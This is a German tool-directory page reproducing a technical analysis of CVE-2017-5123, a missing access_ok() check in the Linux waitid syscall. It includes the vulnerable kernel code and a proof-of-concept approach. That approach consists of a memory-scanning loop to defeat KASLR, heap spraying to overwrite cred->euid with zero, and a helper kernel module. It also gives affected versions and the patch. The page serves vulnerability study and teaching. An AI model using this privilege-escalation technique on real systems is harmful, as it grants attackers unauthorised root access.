Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2017-5123 — Detaillierte technische Analyse und Proof-of-Concept-Exploit für CVE-2017-5123, eine Schwachstelle im Linux-Kernel-Syscall waitid, die eine lokale Privilegienausweitung durch eine fehlende access_ok()-Überprüfung ermöglicht. | Kitploit
Tools/GitHubGitHub/h1bana/cve-2017-5123
Privilege EscalationSchwachstellenanalyseExploitationLernen & BildungBinary-Exploitation
GitHubh1bana/cve-2017-5123

CVE-2017-5123

Detaillierte technische Analyse und Proof-of-Concept-Exploit für CVE-2017-5123, eine Schwachstelle im Linux-Kernel-Syscall waitid, die eine lokale Privilegienausweitung durch eine fehlende access_ok()-Überprüfung ermöglicht.

Repository anzeigen
1vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2017-5123

Bug-Übersicht

Der Systemaufruf waitid im Linux-Kernel validierte die verwendete Zieladresse nicht. Dies könnte es lokalen Benutzern ermöglichen, in den Kernel-Speicher zu schreiben, was zu einer Privilegieneskalation oder einem Sandbox-Escape führen könnte.

Schwachstellenbeschreibung

Klassifizierung der Schwachstelle

  • Privilegieneskalation
  • Sandbox-Escape (Chrome)

Anfälliger Code

kernel/exit.c

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // im Wesentlichen ruft stac() auf, deaktiviert SMAP vorübergehend
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- fehlender access_ok()-Check vor Aufruf dieser Funktion
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // im Wesentlichen ruft clac() auf, aktiviert SMAP wieder
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

Der hier identifizierte Fehler ist das Fehlen eines access_ok()-Checks vor dem Aufruf der Funktion unsafe_put_user(). In früheren Kernel-Versionen verwendete das Programm die Funktion put_user(), die sowohl den access_ok()-Check als auch die Schreiboperation beinhaltete.

root@kitploit:~
put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

Durch die Verwendung von unsafe_put_user() vermeidet das Programm das mehrfache Ein- und Ausschalten von SMAP innerhalb kurzer Zeit, das durch den Aufruf von user_access_begin() / user_access_end() verursacht wird. Die access_ok()-Funktion prüft hier die Gültigkeit der Adresse ptr. Sie stellt sicher, dass sie zum Userspace-Speicher gehört. Dadurch wird verhindert, dass der Benutzer in den Kernel-Speicher schreibt. Wenn wir also den syscall waitid aufrufen und der Parameter infop eine Kernel-Adresse ist, wird dieser Fehler ausgelöst.

Ausnutzung

Das Fehlen des access_ok()-Checks erlaubt es uns, eine Kernel-Adresse als Parameter infop von waitid zu übergeben, woraufhin der syscall diese Adresse mit dem Aufruf von unsafe_put_user() überschreibt. Eine Einschränkung hierbei ist, dass wir nicht kontrollieren können, was in die von uns bereitgestellte Kernel-Adresse geschrieben wird. Es gibt 6 Felder, die zum Schreiben verwendet werden: signo, ein Nullbyte, info.cause, info.pid (maximaler Wert = 0x8000), info.uid und info.status (vom Typ int32, aber nur Werte >0, <256). Das nützlichste Feld ist hier wohl das Nullbyte. Wir können es verwenden, um cred->euid und cred->uid zu überschreiben. Dazu müssen wir die Adressen dieser beiden Werte kennen.

KASLR umgehen durch Speicher-Scanning

Laut kernel.org beginnt der Kernel-space virtual memory, der von allen Prozessen gemeinsam genutzt wird, bei 0xffff800000000000. Allerdings ist der Bereich von 0xffff800000000000 bis 0xffff87ffffffffff ein "... guard hole, also reserved for hypervisor", also beginnen wir das Speicher-Scannen bei der Adresse 0xffff880000000000. Es ist auch zu erwähnen, dass das Scannen möglich ist, weil unsafe_put_user() nicht abstürzt, wenn wir auf ungültige Adressen zugreifen. Dies verhindert, dass "unprivileged users" das System mit ungültigen Adressen zum Abstürzen bringen (DoS).

root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

Jetzt kennen wir eine Kernel-Heap-Adresse. Als nächstes müssen wir die Adresse der cred-Struktur ermitteln.

Adresse der Cred-Struktur mit Heap Spray finden

Obwohl wir die Heap-Adresse kennen, ist diese möglicherweise nicht der Heap-Start. Daher können wir die genaue Adresse der Cred-Struktur nicht berechnen. Hier verwenden wir eine Technik namens Heap Spray.

  • Wenn wir viele Prozesse erzeugen, gibt es viele cred-Strukturen im Speicher. Dadurch können wir die Adresse der cred-Struktur leichter erraten.
  • Diese Prozesse rufen weiterhin geteuid() auf. Wenn geteuid() 0 zurückgibt, läuft der Prozess mit Root-Rechten – Bingo.
  • Der Elternprozess ruft weiterhin den syscall waitid() auf, nutzt die Schwachstelle, errät die Adresse der cred-Struktur und überschreibt cred->uid mit Null.

Das Debuggen, um die Adresse der cred-Struktur der Kindprozesse zu finden, ist zeitaufwändig. Daher verwende ich ein vorhandenes Modul, um die Adresse von cred->euid mittels printk() auszugeben.

root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

Ich habe festgestellt, dass es Adressen mit ähnlichen Mustern gibt, selbst nach einem Neustart bleiben die Offsets dieser Adressen ähnlich. Daher habe ich mich entschieden, eine Adresse zu wählen und dann in einer Schleife + pagesize hinzuzufügen, um die Adresse der cred-Struktur zu erraten.

image

Demo-Video der Ausnutzung IMAGE ALT TEXT HERE

Einige Probleme mit diesem Exploit-Ansatz

  • Die Erfolgsrate ist nicht garantiert.
  • Für Kernel-Versionen, die von dieser Schwachstelle betroffen sind, funktioniert der Exploit-Code möglicherweise nicht auf allen Versionen, da der Offset des EUID beim Spray von Version zu Version unterschiedlich ist. Damit der PoC auf allen Versionen läuft, sucht der Exploit nach dem euid, um ihn auf Null zu setzen. Ich habe die Adresse im Format gefundene Heap-Adresse + Offset angegeben. Es wäre notwendig, den Offset kleiner zu machen, um ihn für mehrere Versionen nutzbar zu machen. Dies bedeutet jedoch eine längere Angriffszeit und erhöht die Wahrscheinlichkeit eines Kernel-Panic/Crash, da möglicherweise in andere wichtige Strukturen im Heap geschrieben wird.

Betroffener Bereich

  • Betroffene Versionen: Linux-Kernel Version 4.13 - 4.13.6
  • Commit, der den Fehler einführte (2017-05-21, v4.13-rc1)

Der Patch

  • Der Patch fügte einen access_ok()-Check hinzu
  • Commit mit dem Patch

Fazit

  • Der Fehler kann zur Privilegieneskalation verwendet werden und kann mit Chrome-Sandbox-Escape verkettet werden. Zum Zeitpunkt der Entdeckung erlaubte Chrome seccomp die Verwendung des waitid-syscalls.

Referenzen

  • Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!
Tool herunterladen